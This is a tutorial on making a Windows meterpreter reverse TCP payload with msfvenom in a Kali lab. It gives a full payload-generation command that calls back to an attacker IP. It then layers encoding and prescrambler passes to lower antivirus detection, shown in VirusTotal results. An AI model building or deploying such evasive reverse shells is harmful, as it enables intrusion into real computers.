The MSFVenom environment is providing a lot of options in just a single terminal window. In this tutorial we are going to take a look on how to create a reverse tcp payload in the Kali Linux operating system.
For this tutorial you will need a couple of things prepared:
The VirtualBox software is needed so you will be able to run a virtual environment on your current machine. We are not going to make this payload public because that would be illegal, instead we are going to test this payload on our own virtual environment.
The Kali Linux ISO is needed so you will be able to run the MSFVenom code which is automatically installed on the Kali Linux operating system. You can install the Kali Linux environment on the Virtualbox machine or you could use a physical machine to run Kali Linux on.
The Internet connection is needed so you can download the latest updates and upgrades which are available for the Kali Linux and MSFVenom environments. The updates will allow you to use the latest public payloads and techniques.
You will also need an windows target operating system installed. We are going to target the local windows environment because that is the only way to perform a legal payload test with the MSFVenom application.
If you use MSFVenom to gain access on computers without authorization then you will be performing an illegal act which is punishable in ALL countries.
Now I believe that you have a solid local environment setup to test your pentesting skills on. The first step which we will do is BOOT UP the Kali Linux environment and login so we will have the Kali Linux desktop available.
If you are using the live version of the Kali Linux operating system your username and password will be:
Now go ahead and open the terminal which is available in the Kali Linux operating system.
Enter the following commands in the terminal:
The first two commands will check for the latest updates and the last two commands are needed for the MSFVenom environment. The postgresql service will allow the Metasploit database to be build and the Metasploit service will provide the various options that are available in the MSFVenom application.
Go ahead and open a new terminal in your Kali Linux environment. In the new terminal you will have to enter this command:
The ifconfig command will show you your local IP address which is used by the Kali Linux operating system. We will need this IP in the future, so make sure that you note down your IP.
The IP which is used in this tutorial is
192.168.23.103 – Kali Linux machine
Now that we know the local IP we can continue to the MSFVenom application. In the same terminal window you will need to enter the following command:
The msfvenom -h command will start the msfvenom application and it will load the available options which can be used in the msfvenom application.
To create the reverse tcp msfvenom payload we will need to provide the following commands in the same terminal:
msfvenom -p windows/meterpreter/reverse_tcp -o
The command above will show the options which are needed by the meterpreter reverse tcp payload.
The msfvenom reverse tcp payload requires the following options:
So the command which will create the MSFVenom reverse tcp payload is:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.23.103 LPORT=443 -f exe > Cyberwarzone_reverse_tcp.exe
Now that we have crafted the payload, we will need to make sure that the payload is not detected by antivirus scanners. The -e x86/shikata_ga_nai -i 5 -b ‘\x00’ command makes sure that the payload is encoded, but that is not enough. The antivirus companies are aware of this method and they have found ways to identify payloads which have been encoded by the MSFVenom encoding methods.
Now you have to make sure that you get the payload on the target machine. There are various ways to do this, and I will leave it at that.
We have only created the payload, we also need to create the listener which allows us to exploit the targeted device which is using the reverse_tcp payload.
To do this, we need to follow the following commands:
Now we have to run the payload on the target machine and wait for the infected machine to connect to our newly crafted msfvenom reverse tcp handler which is listening on the port 443 and the 192.168.23.103 ip.
Encrypting the MSFVenom payloads with the MSFvenom encode option is not enough. The antivirus companies are aware of the encoding methods and they have found ways to identify them. Now there is a Google project which is titled prescrambler which has been crafted to scramble .exe files. The scramble will make it harder for the antivirus companies to identify the malicious payloads.
Let’s take a look on our tests.
37/56 of the Antivirus companies which are listed on VirusTotal were able to identify the malicious MSFVenom payload.
Now we double encoded it with the prescrambler application.
Lets take a look at the results.
As we can see in the scan above, only 25/56 were able to identify the malicious MSFVenom payload. Note that we only used the prescrambler on the first crafted payload. Now I was thinking, what would happen if I would scramble the scrambled file (cyberwarzone_reverse_tcp_encrypted.exe) again with the prescrambler application?
This was the result
We can see in the results above that only 19/56 antivirus scanners were able to identify the malicious MSFvenom payload. We can easily state that it takes extra effort to create a successfull MSFVenom payload which is able to hit computers that have an up to date antivirus application installed, it takes a couple of steps to make sure that it is not identified.